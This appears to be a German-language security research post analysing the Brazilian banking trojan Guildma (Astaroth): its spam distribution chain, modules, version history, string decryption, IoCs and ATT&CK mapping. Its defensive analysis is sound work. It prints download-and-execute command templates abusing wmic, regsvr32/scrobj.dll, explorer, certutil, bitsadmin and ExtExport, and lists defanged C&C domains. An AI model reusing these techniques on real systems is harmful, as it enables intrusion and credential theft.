In diesem Beitrag werfen wir einen Blick auf Guildma (aka Astaroth, mächtiger Dämon). In unserem Fall handelt es sich dabei um einen überhandnehmenden lateinamerikanischen Bankentrojaner. Die auf Brasilien abzielende Malware ist in Delphi geschrieben und verfügt über einige innovative Ausführungs- und Angriffstechniken.
Wir beschreiben hier eine jüngere Version und heben die auffälligsten Veränderungen im Vergleich zu Versionen von Mitte 2019 hervor. Damals gab es eine ganze Artikelflut über Guildma, weil die bis dato größte Kampagne lief.
Charakteristiken von Guildma
Guildma ist ein lateinamerikanischer Bankentrojaner, der sich bislang ausschließlich auf Brasilien beschränkt. Unseren ESET-Telemetriedaten zufolge und aus der zuteilwerdenden Aufmerksamkeit von der Presse schließen wir, dass es sich um den wirkungsvollsten Bankentrojaner in der Region handelt. Die Malware wird nicht nur gegen Finanzinstitute eingesetzt, sondern auch zum Diebstahl von Login-Daten von E-Mail-Accounts, E-Shops und Streaming-Services. Mindestens zehnmal mehr Opfer sind von Guildma betroffen, als im Vergleich zu irgendeinem anderen von uns beschriebenen lateinamerikanischen Bankentrojaner. Die Malware nutzt innovative Methoden der Programmausführung und komplexe Angriffstechniken.
Anders als von uns bereits beschriebene lateinamerikanische Bankentrojaner, speichert Guildma keine gefälschten Pop-up-Fenster innerhalb der Binary. Stattdessen wird der Angriff vom C&C-Server orchestriert. Das gibt den Malware-Angreifern eine größere Flexibilität, um auf Gegenmaßnahmen von betroffenen Banken zu reagieren.
Guildma bringt folgende Backdoor-Fähigkeiten mit:
- Screenshots aufnehmen
- Tastatureingaben aufzeichnen
- Keyboard und Maus simulieren
- Shortcuts blockieren (Verhindern des Schließens von Fake-Fenstern mithilfe von ALT+F4 )
- Herunterladen und Ausführen von Dateien
- Neustart des Computers
Guildma ist sehr modular aufgebaut. Zum Zeitpunkt der Erstellung dieses Artikels besteht es aus zehn Modulen – ausgenommen die Stufe der Verbreitung. Die Funktionen einzelner Module werden im weiteren Verlauf des Artikel erläutert.
Verlauf der Verbreitung von Guildma
ESET-Telemetriedaten ergaben, dass sich Guildma ausschließlich mithilfe von Spam-E-Mails mit schädlichem Anhang verbreitet. Hier sind einige Beispiele aus einer Malware-Kampagne von Mitte November des Jahres 2019.
Eines der bestimmenden Merkmale der Verbreitung von Guildma ist die Nutzung bereits im System vorhandener Tools, oft auf neue und ungewöhnliche Weise.
Eine weitere Eigenschaft ist die Wiederverwendung von Techniken. Von Zeit zu Zeit kommen neue Techniken hinzu, aber die Entwickler scheinen zum größten Teil einfach Techniken aus älteren Versionen wiederzuverwenden.
Abbildung 5 zeigt ein Schema der Verbreitung von Guildma Version 150. Allerdings gestaltet sich diese Verbreitungskette sehr dynamisch. In vorherigen Versionen war die schädliche LNK-Datei beispielsweise nicht in einem ZIP-Archiv eingebettet. Oder ein SFX RAR-Archiv, das ein MSI-Installationsprogramm enthält, wurde stattdessen verwendet. Außerdem gab es früher eine weitere JScript-Stufe, deren einziger Zweck das Herunterladen und Ausführen der finalen JScript-Stufe war. Insgesamt gab es eine Reihe von Änderungen, deren Erläuterungen den Rahmen dieses Artikels sprengen würden. Tatsächlich ist der einzige Teil, der größtenteils gleich blieb, die finale JScript-Stufe.
Mit den Daten aus einer langfristigen Beobachtung dieser Malware-Familie konnten wir uns ein sehr gutes Bild über die Tätigkeiten von Guildma verschaffen.
Abbildung 6 zeigt alle ESET-Erkennungen der Guildmas First-Stage-Komponente. Man erkennt, dass der Kampagnenumfang langsam ansteigt, um dann im August 2019 in einen Höhepunkt zu münden - als wir bis zu 50.000 Samples pro Tag beobachteten. Diese Kampagne dauerte nahezu zwei Monate und zahlenmäßig machte sie mehr als das doppelte aus, als in den zehn Monaten zuvor.
Im Folgenden fassen wir einige der interessanteren Entdeckungen aus den vergangenen 14 Monaten zusammen.
Ausführung der JScript-Stufe
Über das vergangene Jahr nutzte Guildma verschiedene Methoden zur Ausführung der JScript-Stufen während der Verbreitung. Gegen Ende des Jahres 2018 versteckte Guildma den eigenen Code in “eXtensible Stylesheet Language” (.xsl) Dateien und benutzte wmic.exe, um diese herunterzuladen und auszuführen:
wmic.exe <wmic query> /format:"<URL>"
Dann wurde schnell dazu übergegangen, regsvr32.exe und scrobj.dll zum Herunterladen eines JScript-implementiertes COM-Objekt zu benutzen und schlussendlich die Registrierungs-Routine auszuführen (enthält den Schadcode):
regsvr32.exe /s /n /u /i:<URL> scrobj.dll
In jüngster Zeit begannen die Malware-Entwickler den Windows-Explorer für ihre Zwecke zu missbrauchen, um die JScript-Stufe auszuführen. Diese Attacke basiert darauf, dass der Windows Explorer versuchen wird, jede ihm übergebene Datei in der Commandline mithilfe des entsprechenden Programms zu öffnen und außerdem darauf, dass die Standardzuordnung für .js-Dateien der Microsoft Windows Script Host ist. Das “Script”, welches an den Windows Explorer übergeben wird, besteht aus einer einzelnen Befehlszeile, mit der Absicht, die eigentliche JScript-Stufe herunterzuladen und auszuführen:
echo GetObject('script:<URL>') > <file>.js | explorer.exe <random switches> <file>.js
Ausführung der Binary-Module
Die Methoden zur Ausführung der PE-Module sind nicht weniger vielfältig.
Als wir mit der Nachverfolgung von Guildma starteten, bemerkten wir die missbräuchliche Verwendung von Avasts aswRunDll.exe, um die erste Binary-Stufe zu laden – regsvr32.exe diente dabei als Failover auf Computern ohne Avast. Die Benutzung von aswRunDll.exe wurde alsbald eingestellt und regsvr.exe blieb als einzige Ausführungsmethode übrig. Nach einer kurzen Nutzungszeit von rundll32.exe gingen die Guildma-Entwicklicker schließlich zur aktuellen Ausführungsmethode mithilfe von ExtExport.exe über.
ExtExport.exe ist eine nicht weiter dokumentierte Komponente des Microsoft Internet Explorers, die dem Export von Bookmarks aus Mozilla Firefox und 360 Secure Browser dient und via DLL Side-Loading missbraucht werden kann. Wenn der folgende Befehl ausgeführt wird, werden mozcrt19.dll, mozsqlite3.dll und sqlite3.dll aus dem in der Befehlszeile angegebenen Ordner geladen:
C:\Program Files\Internet Explorer\ExtExport.exe <folder> <dummy 1> <dummy 2>
Um das zu missbrauchen, würde man normalerweise die zu ladende DLL als eine der oben genannten ablegen; Guildma nutzt aber alle drei.
Download der Binary-Module
Guildma nutzte auch einige verschiedene Möglichkeiten zum Herunterladen der Binary-Module. In der ersten Version wurde certutil.exe nach certis.exe kopiert (vermutlich, um Entdeckungen zu entgehen):
certis.exe -urlcache -split -f "<URL>" "<destination path>"
Die Malware-Entwickler wechselten später zu BITSAdmin – dem Microsoft Background Intelligent Transfer Service Management Tool – und nutzten dieses Tool bis zum Zeitpunkt der Erstellung dieses Artikels:
bitsadmin.exe /transfer <random number> /priority foreground <URL> <destination>
Einige Monate lang wurden die Binary-Module base64-kodiert und in der Google Cloud gehostet. In dieser Zeit benutzte Guildma sowohl BITSAdmin als auch certutil - BITSAdmin zum Herunterladen und certutil zum Entschlüsseln der Module.
Andere Änderungen bei Guildma
Guildma nutzt seltsame, nicht beschreibende Variablen und Funktionsnamen. Als wir mit dem Tracking begannen, ergaben die Bezeichnungen zwar keinen Sinn, waren aber dennoch von Menschenhand gemacht (z.B. "radador" für die Zufallszahl-Funktion oder "Bxaki" für die Download-Funktion). Im Juni 2019 wurden alle Variablen und Funktionsnamen in zufällig erscheinende Namen geändert (z.B. "bx021" und "mrc430"). Zuerst dachten wir, die Malware-Entwickler hätten eine Art automatisierten Skript-Verschleierungsmechanismus implementiert, aber es stellte sich heraus, dass es sich um eine einmalige Änderung handelte. Die Namen sind seither gleichgeblieben.
Eine relativ neue Ergänzung ist die uralte Technik der Verwendung von ADS (Alternate Data Streams) zur Speicherung der Binary-Module. Alle Module werden jetzt als ADS einer einzigen Datei gespeichert (z.B. "desktop.ini:nauwuygiaa.jpg", "desktop.ini:nauwuygiab.jpg", usw.).
Versionsverlauf von Guildma
Obwohl Guildma einige Versionen aufweist, sind die Entwicklungssprünge zwischen den einzelnen Versionen recht klein. Aufgrund der klobigen Architektur, die fest kodierte Konfigurationswerte verwendet, müssen die Malware-Entwickler in den meisten Fällen alle Binärdateien für jede neue Kampagne neu kompilieren. Das ist ein eindeutig nicht vollständig automatisierter Aufwand, da es oft eine erhebliche Verzögerung zwischen der Aktualisierung der Versionsnummer in den Skripten und in den Binärdateien gibt.
Dieser Artikel baut auf Guildma Version 150 auf. Seitdem sind aber bereits zwei weitere Versionen erschienen. Allerdings enthalten diese keine wesentlichen Änderungen in Bezug auf Funktionalität oder Verbreitungsmechanismus, was unsere Behauptungen über den Entwicklungszyklus von Guildma stützen.
Die letzte Stufe der Verbreitungskette enthielt früher einen Versionsnamen, aber dieser wurde (vermutlich) seit Version 148 dauerhaft durch ein einfaches "xXx" ersetzt.
Tabelle 1 fasst alle Versionen zusammen, die seit Beginn unser aktiven Verfolgung von Guildma im Oktober 2018 veröffentlicht wurden. Wenn wir uns den Versionsverlauf ansehen, beschleicht uns das Gefühl, dass die Malware-Entwickler eine Leidenschaft für Ökologie und schnelle Autos hegen.
Table 1. Guildma Versionsverlauf
First seen | Version number | Version name | Version prefix |
---|---|---|---|
2018-09-18 | 131 | 131_SUPER_Tesla | marxvxinhhm |
2018-10-31 | 132 | 132_ULTRA_Tesla | srsysddirrx |
2018-11-28 | 133 | 133_TORRE_DE_Tesla | mxgetronicosxy |
2018-11-29 | 134 | 134_MAXX_TESLAs | dwqiopawsamazon |
2018-12-03 | 135 | 135_MOAB_TESLAs | lu769tsla |
2018-12-13 | 136 | 136_KRAKEN_TESLAs | lrdsnhrxxfery |
2019-02-06 | 137 | 137_RAPTOR_TESLAs | rakpat0rpcack |
2019-03-21 | 138 | 138_RAPTOR_TESLAs_ | hillwd763free |
2019-05-20 | 139 | 139_TESLA_ | falxconxrenw |
2019-06-03 | 140 | 140_ASTH_ | valehraysystqx |
2019-06-24 | 141 | 141_T3SL4S_ | ayt3ese4xw |
2019-07-17 | 142 | 142_T3SL4S_ | halawxtz |
2019-08-09 | 143 | 143_T3SL4S_ | asmonnwqk |
2019-08-26 | 144 | 144_MULT1T3SL4S_ | daffsyshqy |
2019-09-26 | 145 | 145_MULT1T3SL4S_ | landoqeahjky |
2019-10-16 | 146 | 146_MULT1T3SL4S_ | valkanxpca |
2019-11-04 | 147 | 147_MULT1T3SL4S_ | koddsuffy |
2019-11-19 | 148 | xXx | lpquayevvt |
2019-11-22 | 149 | #rowspan# | nauwuygia |
2019-12-13 | 150 | #rowspan# | andrealfo |
2020-01-14 | 151 | #rowspan# | balberith |
2020-02-05 | 152 | #rowspan# | masihaddajjal |
Übersicht über die Guildma-Module
Wie weiter oben bereits erwähnt, ist Guildma insgesamt sehr modular aufgebaut – die Struktur der einzelnen Module scheint weitestgehend konstant zu sein. In diesem Abschnitt gehen wir kurz auf die Funktionen der einzelnen Module ein.
Alle Modulnamen setzen sich aus einem gemeinsamen, versionsabhängigen Präfix und einem modulspezifischen Suffix zusammen. In Tabelle 2 ist das versionsabhängige Präfix andrealfo.
Table 2. Guildma-Module im Überblick
URL filename | Filesystem filename | Module |
---|---|---|
andrealfohh1a.dll.zip | andrealfo64.~ | Main module loader 1 (part 1) |
andrealfohh1b.dll.zip | #rowspan# | Main module loader 1 (part 2) |
andrealfoxa.gif.zip | andrealfoxa.gif | Main module injector (part 1) |
andrealfoxb.gif.zip | andrealfoxb.gif | Main module injector (part 2) |
andrealfoxc.gif.zip | andrealfoxc.gif | Main module injector (part 3) |
andrealfogx.gif.zip | andrealfogx.gif | Main module loader 2 |
andrealfog.gif.zip | andrealfog.gif | Main module |
andrealfoc.jpg.zip | andrealfoc.jpg | Contacts stealer and form grabber module |
andrealfodwwn.gif.zip | andrealfodwwn.gif | RAT module (DLL) |
andrealfodx.gif.zip | andrealfodx.gif | RAT module (EXE) |
andrealfoa.jpg.zip | andrealfoa.jpg | MailPassView |
andrealfob.jpg.zip | andrealfob.jpg | WebBrowserPassView |
andrealfoi.gif.zip | andrealfoi.gif | JScript dropper module |
Mit Ausnahme des Hauptmodul-Loaders 1 (*64.~) und des Hauptmodul-Injectors (*xa.gif, *xb.gif und *xc.gif) werden alle Module mithilfe einer einfachen XOR-Chiffre unter Verwendung eines sich wiederholenden 32-Byte-Schlüssels verschlüsselt. Der Schlüssel wird aus einem 32-Bit-Seed unter Verwendung des in Abbildung 7 dargestellten Algorithmus generiert. Der Seed-Wert liegt verschleiert in den Binärdateien, um eine einfache Extraktion zu verhindern (siehe Abbildung 8).
Drei Module kommunizieren mit einem C&C-Server: das Hauptmodul, das RAT Modul und ein Contact Stealer/Form Grabber. Die Kommunikation erfolgt über HTTP(S) unter Verwendung einer Kombination aus base64 und verschiedenen einfachen benutzerdefinierten Verschlüsselungsalgorithmen zum Schutz der übertragenen Daten.
Im folgenden Abschnitt beschreiben wir, wie die C&C-Serveradresse ermittelt wird.
Hauptmodul Loader 1 (*64.~)
Das ist die erste Binary-Stufe der Kette. Dabei handelt es sich um eine DLL-Datei, die in zwei Teilen heruntergeladen wird und durch die vorherige JScript-Stufe verkettet wird. Die DLL lädt drei weitere Dateien, bestehend aus den Lodern der nächsten Stufe (*xa.gif, *xb.gif und *xc.gif), die wiederum verknüpft werden. Die resultierende PE-Datei wird im eigenen Adressraum abgebildet und ausgeführt.
Das Laden einer PE-Datei ist ein relativ komplexer Prozess, deshalb nutzten die Malware-Entwickler die BTMemoryModul Open-source Bibliothek für diesen Zweck.
Hauptmodul Injector (*xa.gif, *xb.gif und *xc.gif)
Dieses Modul lädt die nächste Stufe (*gx.gif) von der Festplatte und entschlüsselt diese. Dann wird die erste .exe aus der folgenden Liste ausgeführt und die entschlüsselte Nutzlast in sie eingespeist.
- C:\Program Files\AVAST Software\Avast\aswRunDll.exe
- C:\Program Files\Diebold\Warsaw\unins000.exe *
- C:\Windows\SysWOW64\userinit.exe
- C:\Windows\System32\userinit.exe
* Eine in Brasilien beliebte Anwendung zum Schutz des Online-Banking-Zugangs.
Hauptmodul Loader 2 (*gx.gif)
Die letzte Loader-Stufe ist recht simple und scheint die Funktionalität des Hauptmodul Loaders 1 unnötig zu duplizieren. Es lädt und entschlüsselt das Hauptmodul (*g.gif), mappt es in den eigenen Speicherplatz und führt es aus.
Hauptmodul (*g.gif)
Das Hauptmodul von Guildma orchestriert alle übrigen Module. Dessen Implementierung ist täuschend komplex, da es unzählige Timer und Ereignisse verwendet, aber dessen Funktionalität eigentlich relativ einfach ist. Es enthält sowohl nicht mehr benötigten Legacy Code, als auch Pre-production Code, der noch nicht verwendet wird.
Beim Laden des Moduls überprüft Guildma, ob es in einer Sandbox-Umgebung ausgeführt wird (zum Beispiel durch Untersuchung des Computernamens und der Festplatten-ID), ob es bereits andere, eigene laufende Instanzen gibt (basierend auf Fensternamen) und ob das Systemgebietsschema von Portugiesisch abweicht. Wenn eine Überprüfung ergibt, dass das System unrelevant ist oder bereits durch Guildma kompromittiert wurde, beendet sich die Malware.
Andernfalls sammelt die Schadsoftware Informationen über das Computersystem (wie Computername, verwendete Sicherheitssoftware, installierte Programme, …) und baut den Kontakt mit dem C&C-Server auf. Darauf hin beginnt Guildma, interessante Ereignisse zu überwachen, wie beispielsweise das Öffnen bestimmter Apps oder Besuche von Online-Banking Webseiten und damit verbundene Aktionen. Die Malware kann z.B. Screenshots aufnehmen, Benutzer am Schließen von Fenstern hindern, das RAT-Modul starten, usw.
Das Hauptmodul führt auch Backdoor-Befehle aus, dessen Funktionsumfang sich größtenteils mit dem RAT-Modul überschneidet.
Contact Stealer / Form Grabber (*c.jpg)
Dieses Modul besitzt zwei Funktionen – das Sammeln von E-Mail-Adressen und Formulardaten von Webseiten.
Es erbeutet E-Mail-Adressen von Desktop-E-Mail-Clients (wie MS Outlook, ThunderBird und The Bat!), indem Adressbücher und E-Mails analysiert werden.
Der Formular-Grabber verwendet die Windows-COM-Technologie zur Interaktion mit dem Internet Explorer. Dieser wartet, bis eine Zielseite geöffnet wird (meist brasilianische Webmailer, E-Shops und Zahlungsgateways) und loggt den Benutzer dann aus. Das Opfer wird quasi zur Eingabe der Zugangsdaten gezwungen. Form Grabber ruft darauf hin das DOM ab und sucht nach wichtigen Eingabefelder-Werten (wie Benutzernamen, Passwörter und Kreditkartennummern).
RAT-Modul (*dwwn.gif, *dx.gif)
Das RAT-Modul erscheint in zwei funktionell identischen Zusammenstellungen – DLL (*dwwn.gif) und EXE (*.dx.gif).
Es realisiert Downloads und Programmausführungen, nimmt Screenshots auf, simuliert Maus und Tastatureingaben und startet den Computer bei Bedarf neu.
Die meisten lateinamerikanischen Bankentrojaner blenden gefälschte Pop-up-Fenster ein, die auf der Überwachung des Namens des aktiven Fensters basieren. Diese Fenster werden normalerweise in der Binary gespeichert. Wir fanden in Guildma solchen Code nicht, aber das RAT-Modul enthält ein Delphi-Formular, das einen simplen Webbrowser implementiert. Da es auch auf der Grundlage des aktiven Fensternamens ausgeführt wird, gehen wir davon aus, dass dieses Formular der Anzeige gefälschter Dialoge für User dient.
MailPassView (*a.jpg) und BrowserPassView (*b.jpg)
Hierbei handelt es sich um Freeware-Tools von Nirsoft. Damit lassen sich gespeicherte Anmeldedaten aus gängigen E-Mail-Clients und Web-Browsern extrahieren. Da Nirsoft die Unterstützung für stille Operationen (Ausgabe in eine Datei, ohne GUI) in neueren Versionen entfernte, um den Missbrauch dieser Tools durch Malware einzudämmen, verwendeten die Guildma-Malware-Entwickler ältere Versionen. Dieselben Tools werden auch von Mispadu genutzt, mit dem Unterschied, dass Mispadu neuere Versionen mit wieder eingebauter Funktion der „stillen Operation“ einsetzt.
JScript Dropper Module (*i.gif)
Dieses Modul legt eine JScript-Datei ab und führt diese aus (unter Verwendung von cscript.exe). Das Skript besteht aus zwei Teilen – der erste Teil wird als eine lange verschlüsselte Zeichenfolge gespeichert, während der zweite Teil sich aus vielen kurzen Zeichenfolgen (teils verschlüsselt und teils im Klartext) zusammensetzt. Bemerkenswert ist die Tatsache, dass die Zeichenketten in der abgelegten JScript-Datei von diesem Dropper-Modul mit einem zufällig generierten Schlüssel verschlüsselt werden, so dass sie im Dropper im Klartext vorliegen.
Das Skript führt die folgenden Aktionen aus:
- Deaktivieren von UAC
- Deaktivieren der EXE Signature-Überprüfung
- Deaktivieren von Windows Defender
- Erstellt eine Firewall-Regel, die den Netzwerkzugriff für C:\Program Files\AVAST Software\Avast\Setup\avast.setup deaktiviert
- Deaktiviert wsddntf-Treiber (Diebold Warsaw GAS Tecnologia - die früher eingeführte Software zum Schutz des Online-Banking-Zugangs)
- Fügt eine Firewallausnahme für Dateien hinzu, die als „Injection Targets“ verwendet werden
- C:\Program Files\Diebold\Warsaw\unins000.exe
- C:\Program Files\AVAST Software\Avast\aswRunDll.exe
Da dieses Modul auf unseren Testmaschinen keinerlei Script ablegte, gehen wir davon aus, dass es sich noch im Entwicklungsstatus befindet.
Neue Entwicklungen ab Mitte 2019
Alternativer Abruf der C&C-Serveradressen
Ab Version 142 implementierten die Malware-Entwickler eine neue Art und Weise, die C&C-Serveradressen abzurufen – sie nutzten Facebook- und YouTube-Profile. Von Facebook kehrten sie alsbald wieder ab. Seit der Erstellung dieses Artikels verlassen sie sich auf YouTube-Profile. Das Ganze weist Ähnlichkeiten zu Casbaneiro auf, nur dass es sich bei Guildma etwas weniger raffiniert gestaltet. Während bei Casbaneiro die Daten in Videobeschreibungen versteckt und als Teil einer URL verschleiert wurden, sind die Daten für Guildma einfach in der YouTube-Kanalbeschreibung hinterlegt – wenn auch verschlüsselt. Anfang und Ende sind mit „|||“ markiert. Die Zeichenfolge dazwischen ist base64-codiert und wird mithilfe von Mispadus „String Encryption Algorithm“ entschlüsselt. Neben dieser primären Methode existiert auch noch die alte als Backup.
Hinzugefügte und entfernte Module
Das weiter oben beschriebene JScript Dropper Modul fügten die Guildma-Entwickler in Version 145 hinzu. Umgekehrt entfernte man in Version 139 zwei Module – den Mass-Mailer (*f.jpg) und den Loader (*e.jpg). In den folgenden Versionen, waren die Module noch immer über ihre erwartbaren Namen (<version prefix>e.jpg and <version prefix>f.jpg) vom Server abrufbar, wie andere Module auch. Diese Module sind nach unseren Vermutungen noch in der Entwicklung, und bei Bedarf ausspielbar – mutmaßlich mithilfe von Backdoor-Befehlen zum Herunterladen und Ausführen.
Neue String Encryption
Das JScript Dropper Modul brachte einen neuen String-Verschlüsselungsalgorithmus mit sich. Eine Variante dieses Algorithmus (Abbildung 10) kam in der Version 147 in anderen Modulen zum Einsatz.
def decrypt ( ct, key ):
# stage 1
ct = unhexlify ( ct );
last = ct [ 0 ];
s = bytearray ( ct [ 1 : ] );
for i in range ( len ( s ) ):
x = s [ i ] ^ key [ i % len ( key ) ];
if last > x:
x += 0xff;
x -= last;
last = s [ i ];
s [ i ] = x;
# stage 2 - reverse string
s = s [::-1];
# stage 3 - c = not ( c - 10 )
s = "" . join ( [ chr ( ( ~( c - 10 ) ) & 0xff ) for c in s ] );
# stage 4 - Base25 decode and key subtraction
k = ord ( s [ 0 ] ) - 65;
ot = "";
for i in range ( 1, len ( s ), 2 ):
ot += chr ( ( ord ( s [ i ] ) - 65 ) * 25 + ord ( s [ i + 1 ] ) - 65 - k - 100 );
return ot;
Abbildung 10: Neuer String-Verschlüsselungsalgorithmus
Ursprünglich benutzte Guildma die gleiche String Encryption wie Casbaneiro. Der neue Algorithmus besteht aus vier Stufen. Der ursprüngliche Algorithmus dient der String-Verschlüsselung immer noch als erste Stufe. In der vierten Stufe greift man wiederum auf den Verschlüsselungsalgorithmus von Mispadu zurück.
In Version 148 hat Guildma eine String-Tabelle implementiert; alle Strings werden zu Beginn der Ausführung entschlüsselt und bei Bedarf aus der Tabelle heraus aufgerufen.
Entfernung von internationalen Angriffszielen
In Version 138 implementierten die Guildma-Entwickler die Möglichkeit, auch Einrichtungen (hauptsächlich Online-Banken) außerhalb Brasiliens zu attackieren. Trotzdem beobachteten wir keine internationalen Malware-Kampagnen. Die Kampagnen, die Dateien auf der Infrastruktur von Cloudflare Workers bereithielten, gingen sogar so weit, dass diese Downloads von nicht-brasilianischen IPs blockierten. Tatsächlich sahen wir in den letzten 14 Monaten keine Guildma-Kampagne, die sich an Nutzer außerhalb Brasiliens richtete.
In der Version 145 verzichtete man dann ganz auf die Möglichkeit, Institutionen außerhalb Brasiliens anzugreifen. Wir gehen deshalb davon aus, dass es sich bei diesem Feature also lediglich um eine in der Entwicklung befindliche Funktion handelte, die schließlich gestrichen wurde.
Fazit
In diesem Beitrag erläuterten wir einige interessante Fakten zu Guildma, einem derzeit in Brasilien weitverbreiteten lateinamerikanischen Bankentrojaner. Wir zeigten den umfangreichen Versionsverlauf und konzentrierten uns in der näheren Beschreibung auf eine der neusten Versionen.
Guildma zeigt die typischen Merkmale eines lateinamerikanischen Bankentrojaners: in Delphi geschrieben, regional ausgerichtet, implementierte Backdoor-Funktion, Funktionen auf Module verteilt und Missbrauch von legitimen Tools.
Eine interessante Gemeinsamkeit zu bevor beschriebenen gleichartigen Malware-Familien ist die Kombination des Verschlüsselungsalgorithmus, bestehend aus jenen Algorithmen, die von Casbaneiro und Mispadu verwendet werden.
Indicators of Compromise (IoCs)
Hashes
SHA-1 | Description | ESET Detection name |
---|---|---|
45c58bc40768dce6a6c611e08fd34c62441aa776 | Main module loader 1 | Win32/Spy.Guildma.BM |
861f20b0dcc55f94b4c43e4a7e77f042c21506cf | Main module injector | Win32/Spy.Guildma.BJ |
37fd19b1ab1dcc25e07bc96d4c02d81cf4edb8a1 | Main module loader 2 | Win32/Spy.Guildma.Q |
a7b10b8de2b0ef898cff31fa2d9d5cbaae2e9d0d | Main module | Win32/Spy.Guildma.BS |
4f65736a9d6b94b376c58b3cdcb49bbd295cd8cc | Contacts stealer and form grabber | Win32/Spy.Guildma.D |
6c9304c5862d4e0de1c86d7ae3764f5e8358daff | RAT module (DLL) | Win32/Spy.Guildma.BR |
89fbffe456de850f7abf4f97d3b9da4bad6afb57 | RAT module (EXE) | Win32/Spy.Guildma.BR |
af0d495ecc3622b14a40ddcd8005873c5ddc3a2d | MailPassView | Win32/PSWTool.MailPassView.E |
92bcf54079cbba04f584eac4486473c3abdd88cd | WebBrowserPassView | Win32/PSWTool.WebBrowserPassView.E |
a2048f435f076988bf094274192a196216d75a5f | JScript dropper module | Win32/Spy.Guildma.BP |
Filenames
C:\Users\Public\Libraries\qlanl\*
Startup link
- Location
%APPDATA%\Microsoft\Programs\StartUp\reiast%USERNAME%%COMPUTERNAME%.lnk
- Targets
C:\Program Files (x86)\Internet Explorer\ExtExport.exe
C:\Program Files\Internet Explorer\ExtExport.exe
- Args
<install dir> <rand> <rand>
(where <rand> is a random, 5 to 9 character long string generated from the alphabet qwertyuiop1lgfdsas2dfghj3zcvbnmm)
C&C servers
- https://www.zvatrswtsrw[.]ml
- https://xskcjzamlkxwo[.]gq
- https://www.vhguyeu[.]ml
- https://www.carnataldez[.]ml
- https://www.movbmog[.]ga
- https://iuiuytrytrewrqw[.]gq
- https://www.gucinowertr[.]tk
- https://equilibrios[.]ga
- https://www.clooinfor[.]cf
- https://ambirsr[.]tk
- https://dbuhcbudyu[.]tk
- https://nvfjvtntt[.]cf
- http://whia7g.acquafufheirybveru[.]online
MITRE ATT&CK techniques
Tactic | ID | Name | Description |
---|---|---|---|
Initial Access | T1193 | Spearphishing Attachment | Guildma distribution chains start with a malicious email attachment. |
Execution | T1073 | Rundll32 | Guildma utilizes rundll32.exe to execute its binary modules. |
T1047 | Windows Management Instrumentation | Guildma abuses WMIC.exe to execute some of its distribution chain stages. | |
Persistence | T1060 | Registry Run Keys / Startup Folder | Guildma ensures persistence by creating a LNK file in the %STARTUP% folder. |
Defense Evasion | T1197 | BITS Jobs | BITSAdmin.exe is used to download binary modules. |
T1089 | Disabling Security Tools | Guildma disables Windows Defender. | |
T1140 | Deobfuscate/Decode Files or Information | The majority of Guildma modules need to be decrypted after downloading. | |
T1073 | DLL Side-Loading | Guildma abuses ExtExport.exe for DLL Side-Loading. | |
T1096 | NTFS File Attributes | Guildma utilizes ADS to hide its modules on disk. | |
T1055 | Process Injection | Guildma utilizes process injection when executing its modules. | |
T1064 | Scripting | Guildma implements its distribution chain stages in various scripting languages (mainly JScript). | |
T1220 | XSL Script Processing | Guildma utilizes XSL script(s) in its distribution chains. | |
Credential Access | T1081 | Credentials in Files | Guildma extracts credentials stored by web browsers and email clients in files. |
T1214 | Credentials in Registry | Guildma extracts credentials stored by web browsers and email clients in Windows Registry. | |
Discovery | T1083 | File and Directory Discovery | Guildma uses presence of certain files to determine whether banking and security tools are installed. |
T1010 | Application Window Discovery | Guildma uses window discovery to find and terminate older versions of itself and to detect when interesting programs (e.g. banking applications or web browsers) are running. | |
T1063 | Security Software Discovery | Guildma detects the presence of several security products. | |
T1082 | System Information Discovery | Guildma collects OS version and bitness, computer name and system locale. | |
T1497 | Virtualization/Sandbox Evasion | Guildma uses directory names, computer names, volume IDs, and existence of named objects to detect sandboxes and virtualized environments. | |
Collection | T1113 | Screen Capture | Guildma is capable of taking screenshots. |
Command and Control | T1024 | Custom Cryptographic Protocol | New C&C addresses are encrypted using custom encryption algorithms. |
Exfiltration | T1041 | Exfiltration Over Command and Control Channel | Guildma uploads screenshots and log files to the C&C server. |